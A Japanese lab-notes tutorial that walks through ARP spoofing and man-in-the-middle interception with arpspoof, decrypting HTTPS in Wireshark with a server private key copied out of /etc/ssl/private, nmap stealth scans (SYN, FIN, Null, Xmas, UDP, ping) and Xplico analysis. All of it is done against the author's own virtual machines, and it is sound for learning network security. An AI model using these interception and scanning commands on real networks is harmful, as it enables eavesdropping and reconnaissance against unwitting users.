ARP スプーフィング

ARP スプーフィング

ARPの仕様を悪用し
ターゲットのARPテーブルを書き換える

ARPテーブルは
IPアドレスとMACアドレスの対応表

これにより
パケットを意図した端末に送信できる

これにより
監視対象のネットワークで
人為的な通信を作ったり介入したりすることで
パケットキャプチャすることができる

ARPスプーフィングの原理は
ARP要求とARP応答は認証がなく
クライアントはARP要求を送ってなくてもARP要求を受け入れてしまうこと
これを悪用し
ARP要求に
偽のMACアドレスを書き込むことで
ARPテーブルの上書きをすること

つまり通信の横取りができる

とはいっても
webページを開いたときに表示されないではバレる

なので
ターゲットをARPスプーフィングし
ルータに届くパケットを攻撃するものに届くようにし
さらに
ルータもARPスプーフィングして
ターゲットに届くパケットを攻撃するものに届くようにしておき
あとは
両方のパケットを転送することで
バレにくくする

このように中間に入り込んで行うので
中間者攻撃
MITM attack
Man-In-The-Middle attack
と言われる

実際に実験するには
仮想マシンの Windows7 試用版
Kali Linux 仮想マシン
を使う

KaliLinux には arpspoof があり
これを使い
ARPスプーフィングができる

arpspoof を2回実行することで
KaliLinux でIP転送機能を有効化することで
アクティブキャプチャができる

なお Windows7試用版は
ライセンス認証しないと起動後1時間後に
自動的にシャットダウンされるので注意

まず windows7 で
windows キーを押しながら r をおし
cmd を入力

これでコマンドプロンプトが起動するので

arp -a

を実行

デフォルトゲートウェイの
Physical Address を確認しておく

次に KaliLinux で
MACアドレス
IPアドレス
を確認

ip addr show eth0

実行結果は

2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 08:00:27:f8:42:a7 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.134/24 brd 192.168.1.255 scope global dynamic noprefixroute eth0
       valid_lft 86099sec preferred_lft 86099sec
    inet6 fe80::a00:27ff:fef8:42a7/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever

ip コマンドについては
ip コマンドチートシート for Red Hat Enterprise Linux

を参考に

そして ルータのIPの確認

route -n

結果は

Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         192.168.1.1     0.0.0.0         UG    100    0        0 eth0
192.168.1.0     0.0.0.0         255.255.255.0   U     100    0        0 eth0

routeコマンドのオプションで
-n を使うと名前解決を行わない

その他オプションについては
routeの主なオプション

を参考に

次にIP転送機能の有効化
1を設定すると有効化
0を設定すると無効になる

echo 1 > /proc/sys/net/ipv4/ip_forward

次に windows7 で wireshark の起動
これでパケットの流れを把握する

次に KaliLinux で
windows7 へ偽情報を送る

arpspoof コマンドで
-i でインターフェース指定
-t でターゲット端末のIPと 書き換えるIPを指定

arpspoof -i eth0 -t 192.168.1.174 192.168.1.1

を実行

この後に windows7 でコマンドプロンプトで

arp -a

を実行すると

Interface: 192.168.1.174 --- 0xf
  Internet Address      Physical Address      Type
  192.168.1.1           60-45-cb-67-e6-38     dynamic
  192.168.1.8           4c-17-44-27-c2-e4     dynamic
  192.168.1.96          08-84-9d-2a-ee-68     dynamic
  192.168.1.255         ff-ff-ff-ff-ff-ff     static
  224.0.0.22            01-00-5e-00-00-16     static
  224.0.0.251           01-00-5e-00-00-fb     static
  224.0.0.252           01-00-5e-00-00-fc     static
  239.255.255.250       01-00-5e-7f-ff-fa     static
  255.255.255.255       ff-ff-ff-ff-ff-ff     static

から

Interface: 192.168.1.174 --- 0xf
  Internet Address      Physical Address      Type
  192.168.1.1           08-00-27-f8-42-a7     dynamic
  192.168.1.8           4c-17-44-27-c2-e4     dynamic
  192.168.1.96          08-84-9d-2a-ee-68     dynamic
  192.168.1.134         08-00-27-f8-42-a7     dynamic
  192.168.1.255         ff-ff-ff-ff-ff-ff     static
  224.0.0.2             01-00-5e-00-00-02     static
  224.0.0.22            01-00-5e-00-00-16     static
  224.0.0.251           01-00-5e-00-00-fb     static
  224.0.0.252           01-00-5e-00-00-fc     static
  239.255.255.250       01-00-5e-7f-ff-fa     static
  255.255.255.255       ff-ff-ff-ff-ff-ff     static

と変化しているのがわかる

変わっているのは
192.168.1.1 の Physical Address の部分

この変更された値は KaliLinux のMACアドレスの値

この状態で windows7 で wireshark を起動し
arp で絞り込むと
偽情報を含むARP要求が届いているのがわかる

これでwindows7 の通信するルータのMACアドレスを書き換えたので
次にルータに対しても同様に書き換えをするので
KaliLinux で
ctrl + alt +t で新しい端末を起動

arpspoof -i eth0 -t 192.168.1.1 192.168.1.174

を実行することで
ルータの windows7 のMACアドレスを
KaliLinux に書き換える

あとは Wireshark を起動し
windows7 でwebサイトをみたり
ネットに繋いだりすると
その通信内容をキャプチャすることができる

試しに wireshark で http に絞ってみるとその内容をみることができる

なお正常な値に戻すには
arpspoof を
ctrl + c で停止させればいい

これで再度 windows7 で

arp -a 

を実行すると元の値に戻っているのがわかる

最後に KaliLinux でIP転送機能をOFFにする

echo 0 > /proc/sys/net/ipv4/ip_forward

コマンドライン版 wireshark の tshark

コマンドライン版 wireshark の tshark

使い方については
tsharkコマンドの使い方

オプションについては
tshark オプションメモ

を参考に

-i オプションでキャプチャするインターフェースの指定

-c オプションでパケット数の指定
なおデフォルトだと無限になっている

eth0 で2つのパケットを取得するのなら

tshark -i eth0 -c 2

とすればOK

結果は

Running as user "root" and group "root". This could be dangerous.
Capturing on 'eth0'
    1 0.000000000 AsustekC_67:e6:38 → Spanning-tree-(for-bridges)_00 STP 60 Conf. Root = 32768/0/60:45:cb:67:e6:38  Cost = 0  Port = 0x8001
    2 2.000087602 AsustekC_67:e6:38 → Spanning-tree-(for-bridges)_00 STP 60 Conf. Root = 32768/0/60:45:cb:67:e6:38  Cost = 0  Port = 0x8001
2 packets captured

となる

最初のメッセージは
root ユーザで行うとでる警告文

-f オプションでフィルタリング
-w オプションで保存ファイル名の指定
-r オプションで保存したパケットファイルからの読み出し
-q オプションで表示する出力を減らす

DNS通信をキャプチャし
traffic.pcap にして保存するなら

tshark -f "udp port 53" -i eth0 -w traffic.pcap

を実行

別端末を ctrl + alt + t で起動

dig ntp.nict.jp +short

を実行したら

ctrl + c で tshark を停止

内容をみるには

tshark -r traffic2.pcap 

とすれば内容をみることができる

なお実行結果は

Running as user "root" and group "root". This could be dangerous.
    1 0.000000000 192.168.1.134 → 192.168.1.1  DNS 94 Standard query 0xbecb A ntp.nict.jp OPT
    2 0.000822310  192.168.1.1 → 192.168.1.134 DNS 162 Standard query response 0xbecb A ntp.nict.jp A 133.243.238.244 A 133.243.238.163 A 61.205.120.130 A 133.243.238.164 A 133.243.238.243 OPT

となっている

パケットの監視を行いフィルタリングするなら
-Y オプションを使う

先ほどと同じようにDNSに絞り込むなら

tshark -i eth0 -Y 'udp.port==53' -n

を実行

別端末を ctrl + alt + t で起動

dig ntp.nict.jp +short

を実行

これで tshark 側に通信内容が表示される

Wireshark SSL セッション復元

Wireshark SSL セッション復元

ubuntu18.04を https 接続できるように設定し
SSLセッションを復元できるようにする

なお ipアドレスを調べるには
ifconfig ではなく
ip コマンドを使う

ip a

でIPアドレス表示ができる

Ubuntu18.04で自分自身のIPアドレスを調べる(IPコマンド)

を参考に

次にSSHサーバインストール

sudo apt-get install openssh-server

これでリモート操作が可能に

次にapache 関連のインストールと設定

sudo apt-get install apache2

で Webサーバ インストール

sudo a2enmod ssl
sudo a2ensite default-ssl
sudo service apache2 restart

でSSLモジュールを有効化

次に KaliLinux で Firefox を起動し
https://192.168.1.150/
へアクセス

192.168.1.150 は ubuntu のIPアドレス

次に wireshark で
ip.addr==192.168.1.150
としてパケットを絞り込む

HTTPSでの通信は
Info には Application Data と表示され

内容も
Encrypted Application Data
となり
平文内容は表示されない

これを復号するには
webサーバのSSL秘密鍵が必要になる

ubuntu の場合
Apacheのインストール時に
サンプルのSSL証明書が自動的に作成されるので
これを使う

秘密鍵は
/etc/ssl/private/ssl-cert-snakeoil.key
にあるので

これをダウンロードする

scp や sftp でコピーしようとしても
Permission denyed
となり権限がないためコピーできない

一度
ssh でログインし

udo cp /etc/ssl/private/ssl-cert-snakeoil.key .

でコピー

ll ssl-cert-snakeoil.key 

で権限などを確認

-rw-r----- 1 root root 1704  5月  3 05:30 ssl-cert-snakeoil.key

となっているので

sudo chown snowpool:snowpool ssl-cert-snakeoil.key 

で所有者を変更

ログアウトしてから
KaliLinux 側で

sftp snowpool@192.168.1.150

で sftpコマンドで接続し

get ssl-cert-snakeoil.key

でファイルを取得

sftp コマンドについては
sftp – 安全なファイル転送 – Linuxコマンド

権限関連については
chmod? chown? よくわからんって人のための、ファイル権限系まとめ

をみるとわかりやすい

これでファイルが取得できたんで

chown root:root ssl-cert-snakeoil.key 

で権限を戻しておく

wireshark で
Edit > Preferences

Protocols をクリック

SSLをクリックし
RSA Keys list の Edit をクリック

+を押すとサーバ情報の追加ができる

IP address にIPアドレス
今回は ubuntu18 のIPアドレス

Port に 443

Protocol
に http

KeyFile に秘密鍵のファイルを指定し
OK
をクリック

これでSSL通信の内容をみることができる

Xmas スキャン

Xmas スキャン

Xmasスキャンでは
TCP パケットの
FIN
URG
PUSH
の3つのフラグを設定し送信する

今回は
Metasploitable の
FTPポート21番に対して実行

nmap -sX -p 21 192.168.1.137

結果は

Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-25 06:06 JST
Nmap scan report for 192.168.1.137
Host is up (0.00022s latency).

PORT   STATE         SERVICE
21/tcp open|filtered ftp
MAC Address: 08:00:27:55:20:B9 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.45 seconds

となり

Wireshark で
statictics > Flow Graph
で表示

Flow type を
TCP Flows にして確認すると
FIN PSH URG に対し
応答がないことがわかる

FIN
のときと同じく
パケットを送信して
ポートが開いているなら応答がない

次に閉じている24番ポートに実行

nmap -sX -p 24 192.168.1.137

結果は

Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-25 06:11 JST
Nmap scan report for 192.168.1.137
Host is up (0.00040s latency).

PORT   STATE  SERVICE
24/tcp closed priv-mail
MAC Address: 08:00:27:55:20:B9 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds

となり

Wireshark でみてみると
FIN PSH URG パケットを送ると
TCPパケットのRSTと ACK が返ってくるのがわかる

このようにTCPパケットが返ってくるなら
ポートが閉じていると判断できる

Nullスキャン

Nullスキャン

Null スキャンでは
なんのフラグも設定しないTCPパケットを送信する

今回はFTPポート21番に実行

nmap -sN -p 21 192.168.1.137

結果は

Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-28 05:25 JST
Nmap scan report for 192.168.1.137
Host is up (0.00041s latency).

PORT   STATE         SERVICE
21/tcp open|filtered ftp
MAC Address: 08:00:27:55:20:B9 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.44 seconds

となる

wireshark でフロー図をみるときに
tcp で絞り込み

statictics > Flow Graph
で表示

なお
Flow type を
TCP Flows にして確認すると wireshark が落ちるので注意

応答がないときには
ポートが開いている
もしくは
フィルタリングがされてると判断

次に閉じているポートで実践

nmap -sN -p 24 192.168.1.137

とする

結果は

Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-28 05:29 JST
Nmap scan report for 192.168.1.137
Host is up (0.00042s latency).

PORT   STATE  SERVICE
24/tcp closed priv-mail
MAC Address: 08:00:27:55:20:B9 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds

となる

wireshark でフロー図をみるときに
tcp で絞り込み

statictics > Flow Graph
で表示

RST、ACKパケットが返ってきたら
ポートが閉じていると判断できる

FIN スキャン

FIN スキャン

FIN スキャンでは
FINパケットという
FINフラグを設定したTCPパケットを送信する

FINパケットは
通信終了要求に使われるが
通信前にFINパケットを送信し端末の様子を待つ

今回は
Metasploitable の21ポートのFTPに対して
FINスキャンを行う

nmap -sF -p 21 192.168.1.137

結果は

Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-25 04:44 JST
Nmap scan report for 192.168.1.137
Host is up (0.00030s latency).

PORT   STATE         SERVICE
21/tcp open|filtered ftp
MAC Address: 08:00:27:55:20:B9 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.63 seconds

となり

Wireshark で
statictics > Flow Graph
で表示

Flow type を
TCP Flows にして確認すると
応答がないことがわかる

FINパケットを送信して
ポートが開いているなら応答がない

また
フィルタリングされていても応答がない

なお Windows 系OSだと Fin スキャンに反応しないので
WindowsOSであるか判別するのにも使える

次に閉じているポートに実行

nmap -sF -p 24 192.168.1.137

結果は

Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-25 04:50 JST
Nmap scan report for 192.168.1.137
Host is up (0.00047s latency).

PORT   STATE  SERVICE
24/tcp closed priv-mail
MAC Address: 08:00:27:55:20:B9 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.43 seconds

となり

Wireshark でみてみると
FINパケットを送ると
TCPパケットのRSTと ACK が返ってくるのがわかる

このようにTCPパケットが返ってくるなら
ポートが閉じていると判断できる

Ping スキャン

Ping スキャン

nmap で ping スキャンをするには
-sP オプションを使う

なお対象ネットワークのIPアドレスを
総当りでping することを ping スイープという

まずは windows10 へ ping スキャン

nmap -sP 192.168.1.166

次に wireshark でフローをみてみる

Wiresharkで特定のプロトコルだけを表示させる

を参考に
ARP のみに絞り込むので
arp
として絞り込む

statictics > Flow Graph
で表示

Limit to display filter
にチェックを入れるとARP のみに絞り込んで表示できる

nmap の仕様では
LAN内端末ならARP要求が使われる

WANの端末を対象にするなら
nmap で –send-ip オプションを使う

試しに Metasploitable に対して実行

nmap -sP 192.168.1.137 --send-ip

statictics > Flow Graph
で表示

すると
ICMP Echo
443 ポートへの SYN
80 ポートへの ACK
ICMP Timestamp
が送られているのがわかる

これに対して
TCP パケットや ICMP の返答があれば稼働していると判断できる

次に稼働していない端末へのPing の実行

nmap -sP 192.168.1.150 --send-ip

statictics > Flow Graph
で表示

Limit to display filter
にチェックを入れるとARP のみに絞り込んで表示

これで
nmap が3回 ARP 要求を存在しない端末に対し実行するが
返答がないため稼働していないと判断できる

Linux の ping は ICMP だけ送信するが
namp で
-sP オプションと
–send-ip オプションをつければ
ファイアウォールで ICMP が帰ってこなくても
TCPによる応答を調べることができるので
nmap を使うことで
より高い精度で対象の稼働を調べることができる

UDP スキャン

UDP スキャン

よく使われるUDPサービスは
DNS の53ポート
SMNP の161/162 ポート
DHCP の 67/68 ポート

今回は Metasploitable の 111 ポートのスキャン

nmap -sU -p 111 192.168.1.137

を KaliLInux で実行

wireshark では
ip.addr==192.168.1.137
としてパケットを絞り込んでおく

Staticstics > Flow Graph

フロー図を表示

ARPが表示されると見えにくいので
Limit to display filter にチェックをいれる

Flow type は
All Flows のままでOK

これで2つ目までの通信で応答があることで
ポートが開いているのがわかる

次に windows10 のフィルタリングされている53ポートに
UDPスキャンを実行

nmap -sU -p 53 192.168.1.166

を KaliLInux で実行

wireshark では
ip.addr==192.168.1.166
としてパケットを絞り込んでおく

Staticstics > Flow Graph

フロー図を表示

ARPが表示されると見えにくいので
Limit to display filter にチェックをいれる

この場合応答はないけど
UDPサービスによっては応答はないけど
サービスが開いていることがあるので

Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-19 07:15 JST
Nmap scan report for DESKTOP-GGEV0LD (192.168.1.166)
Host is up (0.00029s latency).

PORT   STATE         SERVICE
53/udp open|filtered domain
MAC Address: 08:00:27:AB:0B:84 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.38 seconds

というように
open/filltered
という結果が
nmap で表示される

次に閉じている2050番ポートへのスキャン
今回は Metasploitable へ行う

nmap -sU -p 2050 192.168.1.166

を KaliLInux で実行

wireshark では
ip.addr==192.168.1.166
としてパケットを絞り込んでおく

Staticstics > Flow Graph

フロー図を表示

ARPが表示されると見えにくいので
Limit to display filter にチェックをいれる

すると
ICMPポート到達不能エラーが帰ってくるので
この場合
ポートが閉じていると判断できる

なおUDPはTCPと違って
パケットの到達を保証しないのでスキャン結果には信頼性に欠ける

TCP SYN スキャン

TCP SYN スキャン

今回は
KaliLinux
metasploitable
Windows10
の3つの仮想マシンを
VirtualBox で起動

今回はTCP SYNスキャンを行う

この3つを起動したら
KaliLinux で

wireshark &


バックグラウンドでwireshark を起動

キャプチャ対象は eth0

次に KaliLinux から Windows10 に対して
445ポートをスキャン

まずは開いているポートに対して実行

nmap -sS -p 445 192.168.1.166

を実行

次に
wireshark のパケットを Windows10 のみにするので絞り込み

ip.addr==192.168.1.166

さらに見やすくするために
フロー図を表示する

Statistics > Flow Graph
でフロー図を表示

すると3回のやりとりがあるのがわかる

2回めの
SYN ACKまでは
TCPフルコネクトスキャンと同じだけど

RSTパケットを3回めで送ることで
通信を途中で止めている

次に閉じているポートに対して実行

今回は Metaspliitable に対して実行

nmap -sS -p 24 192.168.1.137

を実行

次に
wireshark のパケットを Metasploitable のみにするので絞り込み

ip.addr==192.168.1.137

さらに見やすくするために
フロー図を表示する

Statistics > Flow Graph
でフロー図を表示

すると今回は
2回のやりとりになる

TCP SYN スキャンは
ポートが開いていても通信を確立しているせず
RSTパケットを送り途中で通信をやめるので
サービスログに残らない

このためステルススキャンとも言われている

なおTCP SYNスキャンには root 権限が必要

nmap でスキャンの種類を指定しないと
TCP SYN スキャンで行うようになっている

Xplico によるキャプチャファイルの解析

Xplico によるキャプチャファイルの解析

WireShark だと画像やメールの解析は不向きなので
Xplico を使用

KaliLinux にインストールするには

apt install xplico -y
service apache2 restart 


Xplico の Webページが作成され
反映のために Apache2 を再起動

/etc/init.d/xplico start

でXplico を起動

次に
Firefox を起動し
http://localhost:9876/
へアクセス

–Language– を English
Username に admin
Pasword にxplico
でログイン

ログインして
コントロールパネルで
Menu から Users を選択すると登録されているユーザが表示される

今回は xplico ユーザを使うので
一度ログアウトし
xplico ユーザでログイン

xplicoユーザでも
ログインのパスワードは
xplico
となっている

ログインしたら
Case と Session を作成するので

New Case をクリック

データの解析を選択になるので
Uploading PCAP capture file/s
にチェックをいれると
キャプチャファイルの解析

Live acquisition ならリアルタイムの解析となる

今回はキャプチャファイルの解析をしたいので
Uploading PCAP capture file/s
を選択

Case name には任意のケース名
今回は First xplico search として

External reference は空白のままでOK

Create をクリック

これでCase が作成されるので
作成された Case をクリック

New Session をクリック

Session name に任意のセッション名を入力
今回は first session としてみた

Create をクリック

これで Case と Sesssion ができたので
次にファイルをアップロードするので
作成したセッションをクリック

アップロードするために
Browseをクリックし
pcap 形式ファイルを選択

Upload をクリック

これでファイルが解析され
解析結果が表示される